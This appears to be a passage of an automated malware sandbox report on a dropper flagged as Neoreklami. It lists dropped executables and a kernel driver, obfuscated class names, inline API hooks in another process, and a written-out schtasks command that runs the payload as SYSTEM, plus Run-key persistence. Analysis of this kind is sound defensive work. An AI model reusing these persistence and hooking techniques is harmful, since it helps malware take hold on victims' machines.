Source: 4.2.fOzLadrzZNRnwv2woTdiFoXM.exe.56d0000.8.raw.unpack, Hg0i8ysWBkmOQpOTDa.cs	High entropy of concatenated method names: 'BBiryfpB2', 'KI0GlCWQr', 'nZK2JcQAs', 'lkTeKjlkc', 'RYq1Z9XkI', 'XOTf7va1f', 'Dispose', 'YAroKCCXX', 'acfjChBBkMo7PdIk7G', 'MFS1TWc0IT345kpNHi'
Source: 4.2.fOzLadrzZNRnwv2woTdiFoXM.exe.56d0000.8.raw.unpack, Ca01BQGh9DxiBOJwup.cs	High entropy of concatenated method names: 'Qr5ud0NzY98AOC9xd95', 'G0Y0Wrh2oh1RhmJKSXb', 'X83AawNIkZucWFsrjDy', 'uZXqgXNDChJaWlp6NOY', 'ce4DmfsmSrOT856tDgfrkMb', 'qNiCQfbwXf', 'TgalQGhh96LsT9w8Qmj', 'Fw7QQNh18VntnfmGixE', 'ILFoXIhoc2Bm12rmWG4', 'AZNUskhyETNOaYTT1jk'
Source: 4.2.fOzLadrzZNRnwv2woTdiFoXM.exe.4748f30.3.raw.unpack, KASIU9JAUDHSAHJDUHUDASUDUADAI0DKSFISJFUDHUFHHYU.cs	High entropy of concatenated method names: 'OMFx84NSU3Aj89yeQCX', 'LAX01SNrXLuYFtkUKZE', 'iy9SsMNm29gB450FtMd', 'dBJrEtNGIa6qVBG9EBQ', 'rVg9gbNXhuTUCax3Faw', 'SqGmZ9Nwos9SN5Q7lkZ', 'GSe2iiNdiIejkDmaBS8', 'LqmMVpNxj2A5NG3wBxw', 'gYNBsNNfxAmxgoLk8AY', 'YxEaVbN7rCtxCfwOIGb'
Source: 4.2.fOzLadrzZNRnwv2woTdiFoXM.exe.4748f30.3.raw.unpack, psm102r62ZNKXfMgLP.cs	High entropy of concatenated method names: 'OPSws322xfEh0', 'MODr39Nq5MiabxlX31k', 'iQoS09NJ2QNv2l3Nldp', 'CJQKDaN3RqE5Z376xIt', 'pj3HvaNg4CuSslIZxHe', 'aGob5JNuDhjrh89tMF7', 'OJrIsVNcKpdpxmnyCdy', 'nvy9T7NQKdlZSSpjdYZ', 'VWEEy8N4s3YgJEZssn2', 'hiS9r5NbbCsErEIxnl5'
Source: 4.2.fOzLadrzZNRnwv2woTdiFoXM.exe.4748f30.3.raw.unpack, Component1.cs	High entropy of concatenated method names: 'Dispose', 'c2ZnNKXfM', 'KdItahZbaqrPOGXMMIH', 'F6Y0glZWI5sNge0KygR', 'oiohBeZubh6iBGSEkrx', 'eHnLj8Z41B6OG7M1JDy', 'N4gwHqZEFQ33Xh9XSL4', 'UsxTXAZipbL0y4O7ig6', 'lWEAf5ZlGZ9tBNchonB'
Source: 4.2.fOzLadrzZNRnwv2woTdiFoXM.exe.4748f30.3.raw.unpack, UserControl1.cs	High entropy of concatenated method names: 'Dispose', 'F2igcbrUX', 'XHGgAUZzLmxCg9LHS8J', 'S8TWddN28E6t6e1W5DI', 'nxnywSZIvTRDeZkh3vn', 'Lg0nedZDohNDcCeYfhA', 'MCqqDaNZbmCaRq0a6S3', 'pte1vQNNcjSXyOcA1wm', 'FihZepNhpEadD2XS1mj', 'v4bBBrN14WWJwYVFB1v'
Source: 4.2.fOzLadrzZNRnwv2woTdiFoXM.exe.4748f30.3.raw.unpack, Hg0i8ysWBkmOQpOTDa.cs	High entropy of concatenated method names: 'BBiryfpB2', 'KI0GlCWQr', 'nZK2JcQAs', 'lkTeKjlkc', 'RYq1Z9XkI', 'XOTf7va1f', 'Dispose', 'YAroKCCXX', 'acfjChBBkMo7PdIk7G', 'MFS1TWc0IT345kpNHi'
Source: 4.2.fOzLadrzZNRnwv2woTdiFoXM.exe.4748f30.3.raw.unpack, Ca01BQGh9DxiBOJwup.cs	High entropy of concatenated method names: 'Qr5ud0NzY98AOC9xd95', 'G0Y0Wrh2oh1RhmJKSXb', 'X83AawNIkZucWFsrjDy', 'uZXqgXNDChJaWlp6NOY', 'ce4DmfsmSrOT856tDgfrkMb', 'qNiCQfbwXf', 'TgalQGhh96LsT9w8Qmj', 'Fw7QQNh18VntnfmGixE', 'ILFoXIhoc2Bm12rmWG4', 'AZNUskhyETNOaYTT1jk'

Persistence and Installation Behavior

Yara detected Neoreklami

Source: Yara match

File source: Process Memory Space: Install.exe PID: 3164, type: MEMORYSTR

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	File created: C:\Users\user\Documents\piratemamm\zVS6xq86P4Kl0c26CfULXfv4.exe	Jump to dropped file
Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	File created: C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe	Jump to dropped file
Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	File created: C:\Users\user\Documents\piratemamm\r0bVQRH8Dto7infNi6DOB01w.exe	Jump to dropped file
Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	File created: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Jump to dropped file
Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	File created: C:\Users\user\Documents\piratemamm\yZBxqqQICO50PLfWYKwJeSL5.exe	Jump to dropped file
Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	File created: C:\Users\user\Documents\piratemamm\MrBEu6cm6HagE9yrmXV8x4AG.exe	Jump to dropped file

Sample is not signed and drops a device driver

Source: C:\ProgramData\kttbjzxfyqcy\erzljnhmzkuz.exe

File created: C:\Windows\TEMP\hbxzipnhyvsr.sys

Uses cmd line tools excessively to alter registry or file data

Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe

Source: C:\Users\user\AppData\Local\Temp\7zS227C.tmp\Install.exe	File created: C:\Users\user\AppData\Local\Temp\7zS27CB.tmp\Install.exe	Jump to dropped file
Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	File created: C:\Users\user\Documents\piratemamm\zVS6xq86P4Kl0c26CfULXfv4.exe	Jump to dropped file
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	File created: C:\Users\user\AppData\Roaming\afasdfga.exe	Jump to dropped file
Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	File created: C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe	Jump to dropped file
Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	File created: C:\Users\user\Documents\piratemamm\r0bVQRH8Dto7infNi6DOB01w.exe	Jump to dropped file
Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\66c2d861a5b4d_google[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\setup[1].exe	Jump to dropped file
Source: C:\Users\user\Documents\piratemamm\zVS6xq86P4Kl0c26CfULXfv4.exe	File created: C:\ProgramData\kttbjzxfyqcy\erzljnhmzkuz.exe	Jump to dropped file
Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\66c1c5838f95f_file1808[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	File created: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Jump to dropped file
Source: C:\ProgramData\kttbjzxfyqcy\erzljnhmzkuz.exe	File created: C:\Windows\Temp\hbxzipnhyvsr.sys	Jump to dropped file
Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	File created: C:\Users\user\Documents\piratemamm\yZBxqqQICO50PLfWYKwJeSL5.exe	Jump to dropped file
Source: C:\Users\user\Documents\piratemamm\r0bVQRH8Dto7infNi6DOB01w.exe	File created: C:\Users\user\AppData\Local\Temp\7zS227C.tmp\Install.exe	Jump to dropped file
Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\66c3721bc46fe_Ernrnmkio[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\66c4c71a033c6_otr[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	File created: C:\Users\user\Documents\piratemamm\MrBEu6cm6HagE9yrmXV8x4AG.exe	Jump to dropped file
Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\StyleControls%20VCL[1].exe	Jump to dropped file

Source: C:\Users\user\Documents\piratemamm\zVS6xq86P4Kl0c26CfULXfv4.exe

File created: C:\ProgramData\kttbjzxfyqcy\erzljnhmzkuz.exe

Jump to dropped file

Source: C:\ProgramData\kttbjzxfyqcy\erzljnhmzkuz.exe

File created: C:\Windows\Temp\hbxzipnhyvsr.sys

Jump to dropped file

Boot Survival

Yara detected Neoreklami

Source: Yara match

File source: Process Memory Space: Install.exe PID: 3164, type: MEMORYSTR

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\AppData\Local\Temp\7zS27CB.tmp\Install.exe

Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /CREATE /TN "bhigQxvKbgfszOKTET" /SC once /ST 02:33:00 /RU "SYSTEM" /TR "\"C:\Users\user\AppData\Local\Temp\7zS27CB.tmp\Install.exe\" kd /CVdidr 525403 /S" /V1 /F

Source: C:\Windows\SysWOW64\schtasks.exe

File created: C:\Windows\Tasks\bhigQxvKbgfszOKTET.job

Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run afasdfga			Jump to behavior
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run afasdfga			Jump to behavior

Source: C:\Users\user\Documents\piratemamm\zVS6xq86P4Kl0c26CfULXfv4.exe

Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe delete "KSKIUXEH"

Hooking and other Techniques for Hiding and Protection

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	Memory written: PID: 4032 base: 7FFDB4590008 value: E9 EB D9 E9 FF	Jump to behavior
Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	Memory written: PID: 4032 base: 7FFDB442D9F0 value: E9 20 26 16 00	Jump to behavior
Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	Memory written: PID: 4032 base: 7FFDB45A0005 value: E9 CB 05 E6 FF	Jump to behavior
Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	Memory written: PID: 4032 base: 7FFDB44005D0 value: E9 3A FA 19 00	Jump to behavior
Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	Memory written: PID: 4032 base: 7FFDB45B0005 value: E9 9B 07 E0 FF	Jump to behavior
Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	Memory written: PID: 4032 base: 7FFDB43B07A0 value: E9 6A F8 1F 00	Jump to behavior
Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	Memory written: PID: 4032 base: 7FFDB4350007 value: E9 AB 11 E8 FF	Jump to behavior
Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	Memory written: PID: 4032 base: 7FFDB41D11B0 value: E9 5E EE 17 00	Jump to behavior
Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	Memory written: PID: 4032 base: 7FFDB4360006 value: E9 BB 7F E4 FF	Jump to behavior
Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	Memory written: PID: 4032 base: 7FFDB41A7FC0 value: E9 4C 80 1B 00	Jump to behavior
Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	Memory written: PID: 4032 base: 7FFDB1F80007 value: E9 CB E3 E3 FF	Jump to behavior
Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	Memory written: PID: 4032 base: 7FFDB1DBE3D0 value: E9 3E 1C 1C 00	Jump to behavior
Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	Memory written: PID: 4032 base: 7FFDB1F90006 value: E9 AB 4D D3 FF	Jump to behavior
Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	Memory written: PID: 4032 base: 7FFDB1CC4DB0 value: E9 5C B2 2C 00	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\zVS6xq86P4Kl0c26CfULXfv4.exe	Memory written: PID: 2968 base: 7FFDB4590008 value: E9 EB D9 E9 FF	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\zVS6xq86P4Kl0c26CfULXfv4.exe	Memory written: PID: 2968 base: 7FFDB442D9F0 value: E9 20 26 16 00	Jump to behavior
Source: C:\ProgramData\kttbjzxfyqcy\erzljnhmzkuz.exe	Memory written: PID: 6780 base: 7FFDB4590008 value: E9 EB D9 E9 FF
Source: C:\ProgramData\kttbjzxfyqcy\erzljnhmzkuz.exe	Memory written: PID: 6780 base: 7FFDB442D9F0 value: E9 20 26 16 00

Source: C:\Users\user\Desktop\3QKcKCEzYP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\r0bVQRH8Dto7infNi6DOB01w.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\r0bVQRH8Dto7infNi6DOB01w.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\r0bVQRH8Dto7infNi6DOB01w.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\r0bVQRH8Dto7infNi6DOB01w.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\r0bVQRH8Dto7infNi6DOB01w.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\r0bVQRH8Dto7infNi6DOB01w.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\r0bVQRH8Dto7infNi6DOB01w.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\r0bVQRH8Dto7infNi6DOB01w.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\r0bVQRH8Dto7infNi6DOB01w.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\r0bVQRH8Dto7infNi6DOB01w.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\yZBxqqQICO50PLfWYKwJeSL5.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS227C.tmp\Install.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS227C.tmp\Install.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS227C.tmp\Install.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS227C.tmp\Install.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS227C.tmp\Install.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS227C.tmp\Install.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS27CB.tmp\Install.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
